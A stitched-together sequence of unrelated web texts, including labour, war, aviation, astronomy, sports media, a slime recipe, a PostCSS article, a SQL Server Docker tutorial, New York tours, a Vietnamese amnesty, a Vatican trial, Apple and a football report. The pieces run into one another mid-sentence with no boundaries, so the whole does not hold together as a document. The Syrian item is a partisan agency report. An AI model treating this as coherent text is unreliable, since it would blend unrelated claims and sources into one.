The Fair Work Ombudsman is taking legal action against Mr Kim and his company after 10 South Korean employees on 417 working holiday visas and one on a student visa were allegedly underpaid a total of $108,931 between December, 2012 and April, 2015. One worker was allegedly underpaid more than $29,000.
Most of the workers spoke little English and were paid $10 an hour for their first two weeks of work and flat rates of $11 to $13 an hour. They were allegedly entitled to adult rates of $21.21 to $23.15 an hour under the Fast Food Industry Award.More than 100 Takfiri terrorists were killed and 14 of their vehicles were destroyed in different parts of Aleppo,
Ahlul Bayt News Agency - The Syrian army continued its military operations against the Takfiri terrorist groups in the city of Aleppo in Northern Syria on Friday, and killed tens of militants in heavy clashes.
More than 100 Takfiri terrorists were killed and 14 of their vehicles were destroyed in different parts of Aleppo, including Hleiseh, al-Jabboul, Ein al-Hanash, Deir Hafer, Maskaneh, al-Kastello, Tal Alam and Tal al-Treks, a military source announced.
An ammunition depot of the terrorists was also destroyed in al-Breij area of Aleppo.
The Syrian army is fighting against 13 Takfiri terrorist groups in Aleppo.
On Sunday, the Syrian armed forces made significant advances against the ISIL and al-Nusra terrorists in Aleppo province, near the borders with Turkey, reliable sources in the region said.
The sources said that the army men launched massive attacks against the ISIL terrorists' positions in Dir Hafer, Banan al-Hiss, Khan Touman, which resulted in the destruction of the militants' depot of ammunition and weapons.
Meanwhile, the army units confronted al-Nusra terrorists in al-Lairamoun, al-Ansari and Jub al- Qebba neighborhoods in Aleppo, where many terrorists were killed, others were injured and their vehicles were destroyed.
Also on Saturday, the army targeted the rebels' centers in Khan al-Assal, al-Mansoura, al-Rashideen, and Kherbit al-Ma’asir in Aleppo and its countryside, and destroyed a long convoy of the militants' vehicles loaded with weapons and ammunitions.
/129Slovenian aircraft manufacturer Pipistrel is entering next month's NASA/CAFE Green Flight Challenge with an unusual electric airplane built in mere months specifically for the competition.
The Taurus G4 is a test bed to develop a high-power electric propulsion system. It features twin fuselages, room for four and the biggest electric motor we've seen bolted to an airframe. In a nod to the early days of aviation, when new designs went from idea to runway in just weeks or months, the airplane came together remarkably quickly.
"The airplane was designed and built in the course of four months," Pipistrel's Tine Tomazic told us at the big Airventure airshow, adding that the G4 was built specifically for the NASA/CAFE Green Flight Challenge. "Its sizing and aerodynamic features, as well as the power train and battery capacity were matched to the requirements."
The competition, which begins Sept. 25, is aimed at developing highly fuel-efficient, yet practical, aircraft. Competitors must fly at least 200 miles in less than two hours while averaging at least 200 seat miles per gallon. With its four seats, Tomazic believes the Taurus G4 has a distinct advantage if Pipistrel can meet the performance requirements.
Tomazic works in research and development for Pipistrel and is coordinating its Green Flight Challenge effort. The Taurus G4 was built entirely in house, and mostly of carbon fiber with some Kevlar here and there. It is essentially a pair of Pipistrel's Taurus self-launch glider fuselages joined by a single wing.
But the most interesting part is the powerplant.
Mounted between the fuselages is a 150 kilowatt (200 horsepower) electric motor. It is the most powerful electric motor seen thus far in an all-electric airplane design.
All that power requires plenty of energy. The Taurus G4 carries more than 1,100 pounds of lithium polymer batteries. Tomazic wouldn't elaborate on the details, but says there is more than 75 kilowatt-hours available via the company's proprietary management system.
The airframe is very light. Although the aircraft weighs roughly 2,350 pounds empty, nearly half of that is the battery. Maximum takeoff weight is 3,300 pounds.
Tomazic says the airplane is purely a demonstrator, with no plans for production.
"The configuration is not classic, so I doubt people would like it as their private plane," he says.
Pipistrel is using the G4 to develop the motor, battery and power management system for a more traditional design. The company sees great potential in the drivetrain.
"This would be an ideal power level to be put in a bigger, three- or four-seat airplane," Tomazic says. "A performance airplane."
Pipistrel has been around 25 years and produces several light sport aircraft and motor gliders. The Taurus Electro is a self-launch glider powered by a small electric motor, which helps the pilot attain sufficient altitude for soaring. But Tomazic mentions the company's new Panthera as the plane slated to receive the powertrain being developed on the Taurus G4.
This sleek four-seat aircraft is aimed more at traditional aircraft rather than as a soaring airplane. Tomazic says the plane should make its first flight by the end of the year; he expects to see deliveries by the middle of 2013.
The airplane's motor glider roots are evident in the long, high aspect ratio wings.
The rapid pace of development we're seeing in electric airplanes has drawn comparisons to the early days of aviation, when new ideas and designs came quickly. Tomazic says the comparison isn't lost on anyone, and evolving technology requires moving quickly to bring ideas to market.
"I think we're sort of in the dawn of electric flight, maybe compared to the times after the First World War," Tomazic says. "A lot will happen, there will be many hits and misses. But in the end somebody will get it right and we'll be on track."
Pipistrel continues to cover its bases developing gasoline powered airplanes in parallel with electric airplanes. Like other companies, even hybrid power is in the works.
The company is no stranger to the Green Flight Challenge, which recently received a big sponsorship from Google. The company won the contest in 2007 and 2008 and could be the team to beat this year.
Photos: Jason Paur/Wired.comScientists have discovered a planet outside of Earth’s solar system that boasts a rare three stars, new research shows.
The planet, called KELT-4Ab, is what NASA calls a “hot Jupiter”—or a gas giant, like Jupiter, but one that is much hotter and with an orbit that takes it much closer to its stars. The alien planet at the center of a study published February in The Astronomical Journal has a triple-star system and hosts a stable planet, which astronomers have only seen three times before, according to the Washington Post.
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Scientists were under the impression that KELT-4Ab only had two stars. They learned that one of the original stars is actually a pair of stars orbiting one another.
The findings are valuable in the astronomy world because one of the stars is relatively close to Earth and bright, which will give scientists more insight into the dynamics in a three-star system, the researchers say.
Contact us at [email protected] others’ Twitter content without proper attribution or credit has led to tides of criticism against sports media figures, and the latest in the crosshairs is CBS NFL insider Jason La Canfora, who’s under fire from Denver Mile High Sports radio host Benjamin Allbright (who also does work for CBS Sports Radio). This all started Thursday when Allbright, who cohosts the morning “Sports Guy Mike” show on AM 1340 Mile High Sports, tweeted a screenshot of the less-than-stellar game leaders in that night’s NFL game. Less than two minutes later, La Canfora tweeted the identical graphic (complete with the same amount of battery, the same time, etc) and sourced it as “texted to me by an NFL personal exec.” Here are the tweets for comparison:
Allbright came across this on Sunday, asked La Canfora where he got the photo, didn’t get a response, then delivered a bunch of tweets calling La Canfora out for lying and saying he’d complained to CBS. Things escalated Monday, when La Canfora complained about a Tennessee paper not attributing a story he broke, and Allbright called him out again over his own lack of attribution. La Canfora, who has been publicly combative on Twitter before, responded with a “clown” shot:
Out curiousity what personnel exec lifted a screenshot from my phone & tweeted it to you? https://t.co/gWPhP47zVC https://t.co/1LVqo72x7r — Benjamin Allbright (@AllbrightNFL) September 18, 2016
Read this over 3 times. Zero attribution for who broke this story. They fire all the editors in Nashville? https://t.co/S83TycIUj0 — Jason La Canfora (@JasonLaCanfora) September 19, 2016
The irony of you talking about attribution is staggering. https://t.co/ZxbCToLWR8 — Benjamin Allbright (@AllbrightNFL) September 19, 2016
Ok so @JasonLaCanfora lied got caught and then blocked. Jason, I've got the proof. This is a terrible look for you. — Benjamin Allbright (@AllbrightNFL) September 19, 2016
@AllbrightNFL fess up to what you clown? I don't know who you are. I'll certainly credit you for being a pathetic crybaby — Jason La Canfora (@JasonLaCanfora) September 19, 2016
Allbright spoke to Awful Announcing Monday and said his issue isn’t about La Canfora taking the screenshot, but about what he views as La Canfora’s dishonesty.
“This isn’t the first time that I’ve caught La Canfora lying about something, it’s just the first time I have irrefutable proof of it,” he said. “I hate to mention this part because it seems self-aggrandizing, but I spent 15 years in the U.S. military, and |
a favor and make sure it’s stirred completely. (You’ll save everyone, especially yourself a lot of hassle!)
Step 4: Pour the borax water into the glue mixture.
This is where it gets interesting. At first glance, it may look like your Gak experiment has failed, but stir it up and you’ll see the magic….er chemistry…happen.
Stir the gak until it’s become more solid and is forming around the spoon. Watch and be amazed. It is really cool.
I recommend waiting to handle it until the food coloring is well mixed in. Nathan was a little eager to start playing with his homemade Gak and ended up with slightly blue hands.
That and he got excited and added a little too much food coloring to start with. Somehow that shouldn’t have surprised me.
Kids can do so many fun things with Gak. Did you know it will bounce?
At the same time, gak will slowly spread.
Have fun making this homemade Gak recipe with your kids!
Watch this video, Nathan and I made where he explains more about Gak, also called Rubber Blubber, and demonstrates how it can do cool things, like bounce:
Homemade Gak ★ ★ ★ ★ ★ 4.8 from 5 reviews Author: Erika Bragdon
Prep Time: Prep Time: 5 mins
Total Time: Total Time: 5 mins Print Pin Ingredients 4 ounces school glue
1/2 cup water
1/4 cup hot water
1/2 teaspoon Borax
food coloring (optional) Instructions Mix the glue and 1 /2 cup of water together. Add the food coloring. Set aside. In a measuring glass, dissolve 1/2 teaspoon Borax with 1 / 4 cup of warm water. Stir until it’s completely dissolved. Add the borax water to the glue mixture and mix well, until the Gak forms a blob around your spoon. Have fun! Notes Note: Make sure you 100% dissolve the borax in water before adding to the glue or the recipe will FAIL!
Frequently Asked Questions about Making Gak:
1. How long does Gak last?
My son’s batch lasted for over a month before he left it out and I threw it away. Haha. I would say a month to be safe, but it would likely be fine for longer.
2. I can’t find any Borax. Can I still make this recipe?
Borax is an essential ingredient in the consistency of this recipe. Without Borax, I don’t think it would be quite the same. You could definitely give it a try but I just don’t know how it would turn out. On another note, you can find Borax at Walmart, grocery stores, etc. – it’s by the laundry detergent and pretty cheap too.
3. Do I need to store the Gak in the refrigerator?
We never refrigerate it and in our experience, it’s lasted at least a month or so.
Try this fun variation – Snowflake Glitter SlimePostCSS is a software development tool that uses JavaScript-based plugins to automate routine CSS operations.[4] The tool has been used to develop the code of Wikipedia,[5][6] Facebook,[7] and GitHub.[8][9] PostCSS is a top-favored CSS tool among npm users.[10] It was designed by Andrey Sitnik with the idea taking its origin in his front-end work for Evil Martians.[11]
How it works [ edit ]
Structure [ edit ]
PostCSS workflow
Unlike Sass and Less, PostCSS is not a CSS-compiled template language but a framework to develop CSS tools.[12] However, it can be used to develop a template language such as Sass and LESS.[13]
The PostCSS core consists of:[14]
CSS parser that generates an object tree (AST) for a line of CSS-code;
that generates an object tree (AST) for a line of CSS-code; Set of classes that comprise the tree;
that comprise the tree; CSS generator that generates a CSS line for the object tree;
that generates a CSS line for the object tree; Code map generator for the CSS changes made.
All the useful features are made available through plugins. The plugins are small programs working with the object tree. After the core has transformed a CSS string into an object tree, the plugins, by turn, analyze and change the tree. Then the PostCSS core generates a new CSS string for the plugin-changed tree.
Usage [ edit ]
Both the PostCSS core and the plugins are written in JavaScript and distributed through npm.
PostCSS offers API for low-level JavaScript operations:
// Load the core and plugins from npm const postcss = require ( 'postcss' ) const autoprefixer = require ( 'autoprefixer' ) const precss = require ( 'precss' ) // Indicate the plugins to use const processor = postcss ([ autoprefixer, precss ]) // Indicate the CSS code and the names of the input/output file processor. process ( 'a {}', { from : './app.css', to : './app.build.css' }) // Use Promise API in case there are asynchronous plugins. then ( result => { // Get the post-processed CSS code displayed console. log ( result. css ) // Get the warning messages displayed for ( let message of result. warnings () ) { console. warn ( message. toString ()) } })
There are official tools making it possible to use PostCSS with build systems such as Webpack,[15] Gulp,[16] and Grunt.[17] There is also a console interface available for download.[18] Browserify or Webpack can be used to open PostCSS in a browser.[19]
Syntaxes [ edit ]
PostCSS allows changing the parser and generator. In this case, PostCSS could be used to work with the Less[20] and SCSS[21] sources. However, PostCSS on its own cannot compile Sass or Less to CSS. What it does is change the original files — for instance, by sorting the CSS properties or checking the code for mistakes.
Besides, PostCSS supports SugarSS, a syntax not unlike Sass and Stylus in its simplicity and succinctness.[22]
Plugins [ edit ]
The number of PostCSS plugins amounts to more than 300.[23] PostCSS plugins can solve most CSS processing tasks ranging from analysis and properties sorting to minification. However, the plugins significantly vary in quality and popularity.
The complete plugin list can be found on postcss.parts. Below are a few examples, with the what-fors explained:
Autoprefixer [24] to add and clear browser prefixes. It is the most popular PostCSS plugin. According to the SitePoint polling, 56% of respondents used Autoprefixer in March 2016. [25]
to add and clear browser prefixes. It is the most popular PostCSS plugin. According to the SitePoint polling, 56% of respondents used Autoprefixer in March 2016. CSS Modules [26] to get CSS selectors isolated and code organized. It is supplied as part of the popular bundler Webpack. [27]
to get CSS selectors isolated and code organized. It is supplied as part of the popular bundler Webpack. stylelint [28] to analyze CSS code for mistakes and check style consistency. It is used by Wikipedia, [6] Facebook [7] and GitHub. [9] Another plugin, stylefmt [29] fixes the CSS code according to the stylelint settings.
to analyze CSS code for mistakes and check style consistency. It is used by Wikipedia, Facebook and GitHub. Another plugin, fixes the CSS code according to the stylelint settings. PreCSS [30] to perform some Sass/Less preprocessing functions.
to perform some Sass/Less preprocessing functions. postcss-cssnext [31] to emulate features from unfinished CSS specification drafts. Used by Wikipedia. [5]
to emulate features from unfinished CSS specification drafts. Used by Wikipedia. cssnano [32] to make CSS smaller in size by getting rid of the spaces and rewriting the code succinctly. Used by Webpack, BBC, and JSFiddle. [33]
to make CSS smaller in size by getting rid of the spaces and rewriting the code succinctly. Used by Webpack, BBC, and JSFiddle. RTLCSS [34] to change CSS code so that the design should be suitable for right-to-left writing (such is applied in Arabic and Hebrew). It is used by WordPress. [35]
to change CSS code so that the design should be suitable for right-to-left writing (such is applied in Arabic and Hebrew). It is used by WordPress. postcss-assets,[36] postcss-inline-svg[37] and postcss-sprites[38] to work with graphics.
There are a number of tools expanding their functionality by PostCSS. For example, it is PostCSS that the popular bundler Webpack uses to work with CSS.[39]
Criticism [ edit ]
Despite certain plugins having faced criticism,[40] some PostCSS plugins have become de facto standard. For instance, Google recommends using Autoprefixer to solve the problem of browser prefixes in CSS.[41]
The industry opinion of PostCSS is highly positive,[42] it going as far as Sass developers considering PostCSS a good addition to Sass.[43]
The biggest question is whether PostCSS plugins should be the only option to use when making a CSS build system. On the one hand, PreCSS or cssnext can perform many Sass and Less functions,[44] with SugarSS possibly being a good replacement for the minimalistic syntax of Sass and Stylus.[45] On the other hand, some experts, including the PostCSS creator himself, recommend sticking to Sass and Less for legacy projects.[46]
Advantages [ edit ]
Features. Many PostCSS plugins one of a kind, [47] PostCSS is often used as an addition to Sass and Less. [48]
Many PostCSS plugins one of a kind, PostCSS is often used as an addition to Sass and Less. Unification. PostCSS plugins cover most CSS building tasks from checking the code for mistakes to minification. As a result, all CSS tools can share the same parser, architecture, and development tools. PostCSS allows for better performance by making all the plugins use the same object tree — in contrast to the common practice of each tool creating one of its own. [12]
PostCSS plugins cover most CSS building tasks from checking the code for mistakes to minification. As a result, all CSS tools can share the same parser, architecture, and development tools. PostCSS allows for better performance by making all the plugins use the same object tree — in contrast to the common practice of each tool creating one of its own. Modules. The user is free in their choice of PostCSS plugins and can switch off the unnecessary ones for faster performance. [49] With different plugins solving the same problems, the user can choose whatever best fits their needs. [50] The PostCSS creator believes that the higher number of plugins compete for the user's attention, the better they will eventually become. [14]
The user is free in their choice of PostCSS plugins and can switch off the unnecessary ones for faster performance. With different plugins solving the same problems, the user can choose whatever best fits their needs. The PostCSS creator believes that the higher number of plugins compete for the user's attention, the better they will eventually become. Speed. PostCSS is equipped with one of the fastest JS-based CSS parsers.[51] It is up to twenty times faster than Ruby Sass and four times faster than Less in doing basic preprocessing.[52] However, real efficiency highly depends on the number of the plugins installed. In fact, the PostCSS creators themselves have confirmed that modern preprocessors work too fast for a speed up to be noticeable.[53]
Disadvantages [ edit ]
Difficult to configure. Some developers tend to avoid the burden of choosing plugins and tuning them up to work together. [54] Ready-made plugin sets are only a partial solution to the problem.
Some developers tend to avoid the burden of choosing plugins and tuning them up to work together. Ready-made plugin sets are only a partial solution to the problem. Non-standard syntax. With each project using its own plugin set, a new developer might not understand that the function unknown is related to the unpopular PostCSS plugin. [43] It is recommended to indicate file plugins with postcss-use, [46] but some people find it unnecessary. [55]
With each project using its own plugin set, a new developer might not understand that the function unknown is related to the unpopular PostCSS plugin. It is recommended to indicate file plugins with postcss-use, but some people find it unnecessary. Selectors and values using separate parsers. PostCSS saves CSS selectors and property values as lines without further parsing them. To parse them, plugins have to use extra parsers. The PostCSS team is going to fix this in future versions. [56]
PostCSS saves CSS selectors and property values as lines without further parsing them. To parse them, plugins have to use extra parsers. The PostCSS team is going to fix this in future versions. Sequential processing. With the object tree being able to respond to only one plugin at a time, having a number of plugins might result in lower performance. Besides, there are functions no plugin can process. The PostCSS team is going to fix this in future versions.[57]
History [ edit ]
Born in the course of the Rework project, the idea of modular CSS processing was suggested by TJ Holowaychuk September 1, 2012.[58] February 28, 2013, TJ expressed it in public.[59]
March 14, 2013, Andrey Sitnik's front-end work for Evil Martians resulted in Autoprefixer, a Rework-based plugin.[60] Initially, the plugin name was rework-vendors.[61]
As Autoprefixer grew, Rework could no longer to meet its needs.[62] September 7, 2013,[63] Andrey Sitnik started to develop PostCSS based on the Rework ideas.[64]
In 3 months, the first PostCSS plugin, grunt-pixrem was released.[65] December 22, 2013, Autoprefixer version 1.0 migrated to PostCSS.[66]
For PostCSS, the primary style focus is alchemy.[67] The project logo represents the philosopher's stone.[68] Major and minor PostCSS versions get their names after the Ars Goetia demons.[69] For instance, version 1.0.0 is called Marquis Decarabia.
The term postprocessor has caused some confusion.[70] The PostCSS team used the term to show that PostCSS was not a template language (preprocessor) but a CSS tool. However, some developers think the term postprocessor would better suit browser tools[40] (for instance, -prefix-free). The situation has become even more complicated after the release of PreCSS. Now, instead of postprocessor, the PostCSS team use the term processor.[71]I no longer install SQL Server on my workstation, I use Docker to spin up instances as and when I need them. This means I don’t have to go through the installation, my machine is cleaner and performance is not reduced by having multiple versions of SQL Server installed.
The SQL Server images that Microsoft publish are very basic installs of the database engine. I wanted to take a look at the new Python functionality (Advanced Analytics) in SQL Server 2017. So I pulled the latest SQL Server image, spun up a container from the image, and connected to it with SSMS (see how here). Lastly, I tried to enable the Advanced Analytics feature.
EXEC sp_configure 'external scripts enabled', 1; RECONFIGURE WITH OVERRIDE
I got the following error:
Msg 39020, Level 16, State 1, Procedure sp_configure, Line 166 [Batch Start Line 0]
Feature ‘Advanced Analytics Extensions’ is not installed. Please consult Books Online for more information on this feature.
The basic install in this image does not include the Advanced Analytics feature.
I could have connected to the container and ran the installer to add the feature, but I would have to do that every time.
I could have edited the microsoft/mssql-server-windows docker file to include the Advanced Analytics feature. This would be better because every container I spun up would have the setting, but when a new version of the image became available I would have to go and edit it’s docker file.
It’s far better to create a new docker file that inherits from the latest microsoft/mssql-server-windows docker file.
FROM microsoft/mssql-server-windows LABEL maintainer "James Anderson" SHELL ["powershell", "-Command", "$ErrorActionPreference = 'Stop'; $ProgressPreference = 'SilentlyContinue';"] WORKDIR / RUN Invoke-WebRequest -Uri $env:box -OutFile SQL.box ; \ Invoke-WebRequest -Uri $env:exe -OutFile SQL.exe ; \ Start-Process -Wait -FilePath.\SQL.exe -ArgumentList /qs, /x:setup ; \.\setup\setup.exe /q /ACTION=Install /INSTANCENAME=MSSQLSERVER /FEATURES=AdvancedAnalytics /UPDATEENABLED=0 /SQLSVCACCOUNT='NT AUTHORITY\System' /SQLSYSADMINACCOUNTS='BUILTIN\ADMINISTRATORS' /TCPENABLED=1 /NPENABLED=0 /IACCEPTSQLSERVERLICENSETERMS ; \ Remove-Item -Recurse -Force SQL.exe, SQL.box, setup
The FROM statement declares that we want to lay some instructions on top of the microsoft/mssql-server-windows image. The beauty of this approach is that when I pull down a new version of the microsoft/mssql-server-windows image, my image will be updated too. The microsoft/mssql-server-windows Dockerfile does the same thing with the microsoft/windowsservercore image.
The rest of the Dockerfile sets some meta data, downloads the installer and adds the Advanced Analytics feature.
SSIS, SSAS, SSRS or any other SQL Server feature could be added to a containerised SQL Server deployment in the same way.
Docker Build
We then execute the Docker build command to create a new image.
docker build C:\projects\mssql-server-analytics -t mssql-server-analytics
The output above shows that I called the Dockerfile in the C:\Projects\mssql-server-analytics directory to create an image named mssqlserver-server-analytics. To execute each command in the Dockerfile, a container is spun up, the command is executed and an intermediate image is created from it. These layers are cached and can be shared between containers of similar images.
I was then able to spin up a container from my new mssql-server-analytics image, connect to it and enable the Advance Analytics feature.
Time to play with Python!This year’s Open House New York is coming up the weekend of October 11th and 12th–and we’re not the only ones getting excited for this year’s events at some of our favorite New York City locations. Every year, the country’s largest architecture and design event puts on an impressive number of great events to educate the public about architecture and design culture in NYC. Our favorite OHNY events are the tours of locations that are usually closed to the public and although not all have been announced quite yet, we’ve highlighted 16 locations so far that you should check out:
We know that some of our favorite locations are being reopened for OHNY tours this year. These include:
1. TWA Flight Center at JFK Airport
Tours of architect Eero Saarinen’s rarely open TWA Flight Center will be given on Saturday, October 11th. Check it out before it gets converted into a hotel. See our interior photographs here.
2. The Brooklyn Army Terminal
The Brooklyn Army Terminal, where Cass Gilbert’s iconic balconies and atrium can be seen during tours by Turnstile Tours of the country’s largest military supply base through World War II. Get tickets to our specially curated tour of the BAT here.
3. The Brooklyn Navy Yard
The Brooklyn Navy Yard, the urban industrial park that has served as a model for the 21st Century.
4. The Four Seasons Restaurant
The Four Seasons Restaurant, the high end restaurant in the Seagram building will be open for tours, although the famous Picasso tapestry has already been moved out.
5. The Neustadt Collection of Tiffany Glass
The Neustadt Collection of Tiffany Glass, with exclusive tours of Dr. Neustadt’s private collection of Tiffany lamps and windows.
6. The Woolworth Building
The Woolworth Building, with a tour of the wonderful lobby open with advance reservations. Get a confirmed tour by joining our exclusive Untapped Cities tours of the Woolworth Building this fall.
In addition to our favorites, OHNY has released a few locations and tours new this year:
7. The Eberhard Faber Pencil Factory
The Eberhard Faber pencil factory, where architect Ole Sondresen will give an informational tour of the design and construction process of the landmarked Greenpoint factory.
8. The Weeksville Heritage Center
The Weeksville Heritage Center, where Caples Jefferson architects will show the new Crown Heights Heritage Center and will discuss the symbolism of the building.
9. The East River Esplanade
East River Esplanade, where a walking tour by CIVITAS and Mathews Nielsen Landscape Architects will be given out of doors.
10. Newtown Creek
Newtown Creek, where ExxonMobil will provide a tour of remediation efforts being implemented in the water between Brooklyn and Queens.
11. Sugar Hill, Harlem
Sugar Hill, where the Sugar Hill Project in Harlem will be explained by architect David Adjaye.
12. PS 109, Harlem
PS 109, where an abandoned Harlem public school has been converted into El Barrio’s Artspace.
13. United NationsR
United Nations Campus, where renovations are currently underway.
14. Great Hall at the New York Hall of Science
The Great Hall of the New York Hall of Science, built for the World’s Fair (1964-65) in Flushing-Meadows Corona Park where a curious space has been recently restored by Ennead Architects.
15. Solar Roofpod at Spitzer School of Architecture
The Solar Roofpod at Spitzer School of Architecture, where students have created a sustainable multi-purpose facility for the 2011 Solar Decathlon.
16. Empire Stores, DUMBO
Photo by Laura Itzkowitz for Untapped Cities
Empire Stores in DUMBO, where the abandoned stores are undergoing a makeover.
17. Barbarian Group Office
Barbarian Group office, where Barbarian Group now has 4,400 square feet of “superdesk” in quite the unique workspace.
18. NYC Micro-dwelling
NYC’s favorite micro-dwelling, where a tour will take you inside an impressive 425-square foot space.
19. Williamsburgh Savings Bank
Williamsburgh Savings bank, a tour of the beautifully remodeled bank space to become Weylin B. Seymour’s event space.
20. Battery Weed
Battery Weed, an incredibly preserved structure at Fort Wadsworth on Staten Island, from which the New York Harbor can be seen.
21. Sims Material Recovery Facility in Sunset Park
Sims Sunset Park Material Recovery Facility by Selldorf Architects is a new waterfront park where recycling of metal, glass, and plastic can be seen by the public.
22. Factories of the 5 Boroughs
Factory Friday, an event on October 10th touring 8 factories including the Organic Food Incubator (Long Island City), the Ferra Designs metal fabricators (Brooklyn Navy Yard), and M & S Schmalberg silk flower makers (Garment District).
OHNY is also giving night tours for the first time, showing how different ways of lighting cityscapes changes our experience. These tours will include the 9/11 Memorial and the High Line which are typically closed at night. The complete list of locations and tours for OHNY Weekend 2014 that will be available on September 30th!
Barbarian Group Office, Battery Weed, Brooklyn Army Terminal, Brooklyn Navy Yard, DUMBO, East River Esplanade, Empire Stores, Fort Wadsworth, Four Seasons Restaurant, harlem, Micro-Apartments, Neustadt Collection of Tiffany Glass, New York Hall of Science, Newtown Creek, Open House New York, PS 109, Sims Material Recovery Facility, Spitzer School of Architecture, staten island, Sugar Hill, sunset park, TWA Terminal, United Nations, Weeksville Heritage Center, Williamsburgh Savings Bank, woolworth buildingThis article is over 3 years old
Vietnam to free 18,200 prisoners in amnesty, but no political activists
Vietnam on Friday said it will free more than 18,200 prisoners to mark its independence day celebrations, but political activists will be excluded from the country’s second biggest-ever amnesty.
Silence of the dissenters: How south-east Asia keeps web users in line Read more
The detainees will be released in batches starting from Monday ahead of the communist nation’s 70th National Day anniversary, which falls on 2 September.
“The President has decided to give amnesty to 18,298 prisoners... but none of them have committed crimes against national security,” said Deputy Minister of Public Security, Le Quy Vuong, at a press conference in Hanoi.
The prisoners to be freed had been sentenced to a range of crimes including murder, drug and people-trafficking and bribery. But no one sentenced for “propaganda” against the state or attempting to overthrow the regime — charges frequently used against activists — were on the list to be released.
Vietnam’s biggest amnesty was conducted in 2009 when 20,599 prisoners were freed, officials said.
This year 34 foreigners — including two Australians, six Laotians, one Cambodian, one Thai, 16 Chinese, six Malaysians and two Filipinos — will also be released. Officials did not clarify which crimes the foreign prisoners were serving sentences for.
“The amnesty reflects the humanitarian nature of the [Communist] Party and state of Vietnam, and is aimed at encouraging the inmates to become useful citizens,” Giang Son, deputy manager of the president’s office, told reporters.
Vietnam has been widely condemned by rights groups and Western governments for its intolerance of political dissent and systematic violations against freedom of religion. Scores of dissidents remain locked up in Vietnam’s jails despite calls for their release.
On Friday Vuong denied to clarify the total number of prisoners currently detained, saying the figures were “national secrets that cannot be revealed”.
Vietnam’s last prisoner amnesty was in 2013 when more than 15,000 inmates were freed.
National day marks the declaration of independence on 2 September, 1945 by Ho Chi Minh, the founder of the Vietnamese Communist Party.VATICAN CITY (Reuters) - Jozef Wesolowski, a former archbishop and papal ambassador to the Dominican Republic, will stand trial on criminal charges of paying for sex with minors and possessing child pornography, the Vatican said on Monday.
The trial, due to start on July 11, will be the first on such charges inside the tiny city-state that is the headquarters of the 1.2 billion-member Roman Catholic Church.
Vatican sources said the decision by the president of the Vatican’s tribunal to indict Wesolowski could not have been taken without a green light from Pope Francis. They said it was another sign of the pontiff’s intention to get tough on sex abuse by clergy.
Wesolowski’s trial will be the highest profile judicial event in the Vatican since Paolo Gabriele, a former papal butler, was convicted in 2012 of stealing and leaking private papers of former Pope Benedict XVI. He was convicted and later pardoned by Benedict.
The 66-year-old former Polish archbishop, who was “apostolic nuncio”, or Vatican ambassador, in Santo Domingo for five years, was arrested last September and detained in the Vatican. It was the first arrest there related to paedophilia charges.
“The announcement of Wesolowski’s trial, while welcome, is minimal, belated and expected,” said Anne Barrett-Doyle of BishopAccountability.org, an independent research group that helps tackle the issue in the Catholic Church.
“It remains to be seen whether the Vatican City State will administer real justice (or if holding the trial in the Vatican) was effectively a way to protect the church from the damaging revelations that likely would occur if the former archbishop had been tried in the Dominican Republic or Poland,” she said.
Wesolowski was recalled to Rome by the Vatican in 2013 when he was still a diplomat in Santo Domingo and was relieved of his duties after Dominican media accused him of paying boys to perform sexual acts. The reports led to a police investigation.
“DELICATE PROCEDURE”
The former archbishop would dress in layman’s clothes, including a baseball cap, and frequent a beach front area known as a venue for poor child prostitutes, according to the local media that broke the story.
After his recall to Rome, he was defrocked by a Vatican tribunal and lost his diplomatic immunity. The pope ordered a criminal investigation.
After his arrest, Vatican inspectors found child pornographic material on his computer.
A view shows faithful gathering in St. Peter's Square as Pope Francis leads the Palm Sunday mass at the Vatican March 29, 2015. REUTERS/Max Rossi - RTR4VBST
The Vatican’s statement said the trial would be “a detailed and delicate procedure”.
If convicted, Wesolowski is unlikely to spend time in the Vatican’s jail, which consists of just a few rooms attached to its courthouse.
He would likely be sent to an Italian prison as part of an international agreement between Italy and the Vatican, or be extradited to the Dominican Republic or his native Poland, Vatican officials have said.Apple is speaking out against the UK's Investigatory Powers Bill, the new web surveillance proposal that privacy groups have dubbed the "Snooper's Charter." Today was the deadline for written statements to be submitted to the committee considering the bill, and Apple CEO Tim Cook took the opportunity to submit a detailed objection to various aspects of the new law. Cook had first signalled his opposition to the bill in November, saying, "If you halt or weaken encryption, the people that you hurt are not the folks that want to do bad things. It’s the good people. The other people know where to go."
This new statement provides a more formal and detailed objection to the bill, specifically addressing the bill's stance on encryption. "Apple is deeply committed to protecting public safety and shares the government’s determination to combat terrorism and other violent crimes," the document reads. "Strong encryption is vital to protecting innocent people from malicious actors."
"Strong encryption is vital to protecting innocent people from malicious actors."
Apple also raises issues with international jurisdiction and law enforcement hacking, referred to in the document as "equipment interference." "We believe the UK is the first national government to attempt to provide a legislative basis for equipment interference," the document reads. "The bill as it stands seems to threaten to extend responsibility for hacking from government to the private sector."
The committee on the Investigatory Powers Bill is expected to report back on the bill in February having considered the full range of responses, including Apple's.Alan Woodward and Kell Brook were introduced to the Bramall Lane crowd before this afternoon’s League One fixture against Gillingham.
SHEFFIELD UNITED: Howard, Alcock, Wallace, Doyle, Murphy, Scougall, McNulty, Collins, B Davies, McGahey, McEveley. Substitutes: Harris, Basham, Flynn, Porter, Higdon, Reed, Turner.
United's 'Neill Collins in a challenge with John Egan of Gillingham. Picture: Martyn Harrison
GILLINGHAM: Bywater, Martin, Egan, Hause, Loft, McDonald, Lingazi, Pritchard, C Davies, Dickenson, Hoyte. Substitutes: Fish, Hessenthaler, McGlashan, Morris, German, Norris, Dack.
REFEREE: K Wright
How Nigel Clough, the Sheffield United manager, must wish he had a player of Woodward’s skill at his disposal now despite emphasising the present squad’s quality on the eve of today’s game. The presence of Brook, meanwhile, served to remind Clough’s request for the hosts to pack a real punch.
They nearly landed a telling blow in the opening seconds of the contest when Jamie Murphy, outstripping Gavin Hoyte down Gillingham’s right flank, was inches away from finding the onrushing Marc McNulty with a low, driven cross.
Michael Higdonequalises for United
Murphy, who has shown signs of recapturing last season’s form in recent weeks, continued to test the defender’s resolve with a series of darting runs. But it was two route one balls, from Ben Davies and James Wallace respectively, which kept the visitors on the back foot during a one-sided start. McEveley made contact with the latter but could not direct his header on target.
With all of those opportunities coming inside the opening three minutes, United should really have taken the lead in the fourth. Davies robbed Kortrney Hause of possession and powered forward. McNulty had taken up an excellent position just beyond the penalty spot but the former Derby County utility elected to shoot from an acute angle rather than pass. Stephen Bywater, previously of Sheffield Wednesday, proved equal to the task.
Peter Taylor, the Gillingham manager, cut an agitated figure on the touchline.
But, around the 10 minute mark, his team applied some pressure of their own.
